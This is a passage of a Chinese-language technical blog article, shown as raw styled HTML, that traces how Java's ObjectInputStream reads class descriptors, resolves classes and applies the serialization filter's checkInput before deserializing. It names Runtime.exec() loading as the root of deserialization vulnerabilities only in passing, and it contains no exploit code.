96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">fieldType</code><span md-inline="plain" style="box-sizing: border-box;">在这里被读取。</span></span></span></span></span></span></p><p style="text-align: left;"><br/></p><p style="text-align: left;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"></span></span></span></span></span></span><span md-inline="plain" style="box-sizing: border-box;">读取结束以后会依次跳出</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">readNonProxy</code><span md-inline="plain" style="box-sizing: border-box;">、</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">readClassDescriptor</code><span md-inline="plain" style="box-sizing: border-box;">方法，在获得类信息后会返回</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">readNonProxyDesc</code><span md-inline="plain" style="box-sizing: border-box;">接着走完下面的流程：</span></span></span></span></p><p style="text-align: left;"><br/></p><p style="text-align: left;"><img class="rich_pages" data-galleryid="" data-ratio="1.01875" data-s="300,640" style="" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=358e4ca0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fcibr2n69ehmprDOK1lkDE5AoOORPdVSclv3E0rn2AkKymbnMALCXkhsvGSKw4wPLEVDoichIkfloQiaJU4iaaiaS79w%2F640%3Fwx_fmt%3Djpeg"/></p><p style="text-align: left;"><span md-inline="plain" style="box-sizing: border-box;">如上图中的流程，首先开启</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">Data Block</code><span md-inline="plain" style="box-sizing: border-box;">模式（</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">bin.setBlockDataMode(true)</code><span md-inline="plain" style="box-sizing: border-box;">），然后调用</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">resolveClass</code><span md-inline="plain" style="box-sizing: border-box;">方法处理当前类的信息：</span></span></span></span></p><p style="text-align: left;"><br/></p><p style="text-align: left;"><img class="rich_pages" data-galleryid="" data-ratio="0.49296875" data-s="300,640" style="" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=c69420a2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fcibr2n69ehmprDOK1lkDE5AoOORPdVScla6camwuLNd9Wwm9Flia9aJLNHns2dHUHgqVGAlnvhibM3zWxkWubycLA%2F640%3Fwx_fmt%3Djpeg"/></p><p style="text-align: left;"><br/></p><p cid="n120" mdtype="paragraph" style="box-sizing: border-box;line-height: 26px;orphans: 4;white-space: pre-wrap;font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;text-align: left;"><span md-inline="plain" style="box-sizing: border-box;">之前我在《序列化流程分析总结》一文中提到：</span></p><blockquote cid="n121" mdtype="blockquote" style="box-sizing: border-box;margin-top: 20px;margin-bottom: 20px;font-size: 0.9em;overflow: auto;border-left-color: rgb(239, 112, 96);color: rgb(106, 115, 125);padding: 10px 10px 10px 20px;background-color: rgb(255, 249, 249);"><p cid="n122" mdtype="paragraph" style="box-sizing: border-box;line-height: 26px;orphans: 4;white-space: pre-wrap;font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;text-align: left;"><span md-inline="plain" style="box-sizing: border-box;">annotateClass是提供给子类实现的方法，通常默认情况下这个方法什么也不做，与此类似的还有</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">ObjectInputStream</code><span md-inline="plain" style="box-sizing: border-box;">中的</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">resolveClass</code><span md-inline="plain" style="box-sizing: border-box;">方法。</span></span></span></p></blockquote><p cid="n123" mdtype="paragraph" style="box-sizing: border-box;line-height: 26px;orphans: 4;white-space: pre-wrap;font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;text-align: left;"><span md-inline="plain" style="box-sizing: border-box;">实际上，</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">ObjectInputStream</code><span md-inline="plain" style="box-sizing: border-box;">中的</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">resolveClass</code><span md-inline="plain" style="box-sizing: border-box;">、</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">resolveProxyClass</code><span md-inline="plain" style="box-sizing: border-box;">、</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">resolveObject</code><span md-inline="plain" style="box-sizing: border-box;">这三个方法对应着</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">ObjectOutputStream</code><span md-inline="plain" style="box-sizing: border-box;">中定义的</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">annotateClass</code><span md-inline="plain" style="box-sizing: border-box;">、</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">annotateProxyClass</code><span md-inline="plain" style="box-sizing: border-box;">和</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">replaceObject</code><span md-inline="plain" style="box-sizing: border-box;">方法，如果</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">ObjectOutputStream</code><span md-inline="plain" style="box-sizing: border-box;">的子类重写了这的三个方法，那么要求</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">ObjectInputStream</code><span md-inline="plain" style="box-sizing: border-box;">的子类也必须重写这三个方法对应的</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">resolve</code><span md-inline="plain" style="box-sizing: border-box;">方法。</span></span></span></span></span></span></span></span></span></span></span></span></p><p cid="n124" mdtype="paragraph" style="box-sizing: border-box;line-height: 26px;orphans: 4;white-space: pre-wrap;font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;text-align: left;"><span md-inline="plain" style="box-sizing: border-box;">在这里，</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">resolveClass</code><span md-inline="plain" style="box-sizing: border-box;">方法会根据字节流中读取的类描述信息加载本地类，加载的时候用到的就是我们平时用的</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">Class.forName()</code><span md-inline="plain" style="box-sizing: border-box;">的方法，实际上反序列化漏洞根本的原因就是在这里加载了</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">Runtime</code><span md-inline="plain" style="box-sizing: border-box;">类，然后执行了</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">exec()</code><span md-inline="plain" style="box-sizing: border-box;">方法。</span></span></span></span></span></p><p cid="n125" mdtype="paragraph" style="box-sizing: border-box;line-height: 26px;orphans: 4;white-space: pre-wrap;font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;text-align: left;"><span md-inline="plain" style="box-sizing: border-box;">处理完当前类的信息后，会调用</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">filterCheck</code><span md-inline="plain" style="box-sizing: border-box;">方法进行检测：</span></span></p><p style="text-align: left;"><img class="rich_pages" data-galleryid="" data-ratio="0.63828125" data-s="300,640" style="" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=2d837aec&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fcibr2n69ehmprDOK1lkDE5AoOORPdVScl7eZs2ZjMBrI2bia4LKkbg0VKqsSCdzicCn7oxlUcV4qv2kjicyqpodVKQ%2F640%3Fwx_fmt%3Djpeg"/></p><p style="text-align: left;"><br/></p><p style="text-align: left;"><span md-inline="plain" style="box-sizing: border-box;">如果非空，那么调用序列化筛选器，这个筛选器调用了</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">serialFilter.checkInput</code><span md-inline="plain" style="box-sizing: border-box;">方法检查序列化数据，如果检测出来了异常，那么会令</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">status</code><span md-inline="plain" style="box-sizing: border-box;">为</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">Status.REJECTED</code><span md-inline="plain" style="box-sizing: border-box;">状态，</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">filterCheck</code><span md-inline="plain" style="box-sizing: border-box;">将会根据</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">serialFilter.checkInput</code><span md-inline="plain" style="box-sizing: border-box;">的检查结果来决定是否执行反序列化，如果</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">checkInput()</code><span md-inline="plain" style="box-sizing: border-box;">方法返回</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">Status.REJECTED</code><span md-inline="plain" style="box-sizing: border-box;">，反序列化将会被阻止，并抛出</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">InvalidClassException()</code><span md-inline="plain" style="box-sizing: border-box;">错误：</span></span></span></span></span></span></span></span></span></p><p style="text-align: left;"><br/></p><p style="text-align: left;"><img class="rich_pages" data-galleryid="" data-ratio="0.4734375" data-s="300,640" style="" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=5559df0a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fcibr2n69ehmprDOK1lkDE5AoOORPdVSclJMALJ1dyGvy2vicw0j1XjBqqzMWqN0Jys9icZ62Iyia6vfbNAibCcG07SA%2F640%3Fwx_fmt%3Djpeg"/></p><p style="text-align: left;"><span md-inline="plain" style="box-sizing: border-box;">如果</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">checkInput()</code><span md-inline="plain" style="box-sizing: border-box;">方法返回</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">Status.ALLOWED</code><span md-inline="plain" style="box-sizing: border-box;">，程序将可执行反序列化</span></span></span></p><p style="text-align: left;"><img class="rich_pages" data-galleryid="" data-ratio="0.19375" data-s="300,640" style="" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=8013d25f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fcibr2n69ehmprDOK1lkDE5AoOORPdVSclUVcd9DCg6J00f18WXZG0icaphz2QBTo90TJQNjojSicD8pyoTGibic8Kqw%2F640%3Fwx_fmt%3Djpeg"/></p><p style="text-align: left;"><br/></p><p style="text-align: left;"><span md-inline="plain" style="box-sizing: border-box;">在结束了反序列化内容检测后，会调用</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">skipCustomData</code><span md-inline="plain" style="box-sizing: border-box;">方法跳过所有数据块和对象，直到遇到</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">TC_ENDBLOCKDATA</code><span md-inline="plain" style="box-sizing: border-box;">标识</span></span></span></p><p style="text-align: left;"><img class="rich_pages" data-galleryid="" data-ratio="1.023890784982935" data-s="300,640" style="" data-type="jpeg" data-w="1172" src="https://wechat2rss.xlab.app/img-proxy/?k=d80c113c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fcibr2n69ehmprDOK1lkDE5AoOORPdVSclBSCftiaD0Wn7erdSiccmw5B5Z405VfRxibzGgKglvw3sic2HFpmMSibR2Fw%2F640%3Fwx_fmt%3Djpeg"/></p><p style="text-align: left;"><span md-inline="plain" style="box-sizing: border-box;">接着，会调用</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">ObjectStreamClass</code><span md-inline="plain" style="box-sizing: border-box;">中的</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">initNonProxy</code><span md-inline="plain" style="box-sizing: border-box;">方法：</span></span></span></p><p style="text-align: left;"><img class="rich_pages" data-galleryid="" data-ratio="0.9515625" data-s="300,640" style="" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=d58e685b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fcibr2n69ehmprDOK1lkDE5AoOORPdVSclDLD3W4h7ibiaHiaqV4Gg3B4hiaTwuIWaSwalj4xiaHXV27Xq6hUBJBIRv4g%2F640%3Fwx_fmt%3Djpeg"/></p><p style="text-align: left;"><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;text-size-adjust: auto;background-color: rgb(255, 255, 255);">在这个方法里会初始化表示非代理类的类描述符：</span></p><p style="text-align: left;"><img class="rich_pages" data-galleryid="" data-ratio="0.715625" data-s="300,640" style="" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=b22fe726&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fcibr2n69ehmprDOK1lkDE5AoOORPdVSclfweo3NjibI0bfU9s1YHrGhyp4ZwibtdsSKUGnOia2JLGdqvIXAzqmOHsQ%2F640%3Fwx_fmt%3Djpeg"/></p><p style="text-align: left;"><span md-inline="plain" style="box-sizing: border-box;">初始化完毕后会调用</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">handles</code><span md-inline="plain" style="box-sizing: border-box;">的</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">finish</code><span md-inline="plain" style="box-sizing: border-box;">方法完成引用</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">Handle</code><span md-inline="plain" style="box-sizing: border-box;">的赋值操作：</span></span></span></span></p><p style="text-align: left;"><img class="rich_pages" data-galleryid="" data-ratio="0.48828125" data-s="300,640" style="" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=e6f01eca&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fcibr2n69ehmprDOK1lkDE5AoOORPdVSclFkql5WGicRfZQKFpAj7lETwrfYJf68PJ1Tiab9E5LyUX2wgUXs1r4v3w%2F640%3Fwx_fmt%3Djpeg"/></p><p style="text-align: left;"><span md-inline="plain" style="box-sizing: border-box;">最后将结果赋值给</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">passHandle</code><span md-inline="plain" style="box-sizing: border-box;">成员属性（初始定义为</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">private int passHandle = NULL_HANDLE;</code><span md-inline="plain" style="box-sizing: border-box;">）</span></span></span></p><p style="text-align: left;"><br/></p><p style="text-align: left;"><img class="rich_pages" data-galleryid="" data-ratio="0.471875" data-s="300,640" style="text-align: center;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=9fb0251c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fcibr2n69ehmprDOK1lkDE5AoOORPdVSclQOzn4GGW1y4sicBvg0Zl5fJY55AhR9WS6FcE93067kxUxpXiaSUGLkTw%2F640%3Fwx_fmt%3Djpeg"/><br/></p><p style="text-align: left;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"></span></span></span></span><span md-inline="plain" style="box-sizing: border-box;">经过</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">validateDescriptor</code><span md-inline="plain" style="box-sizing: border-box;">的验证后将</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 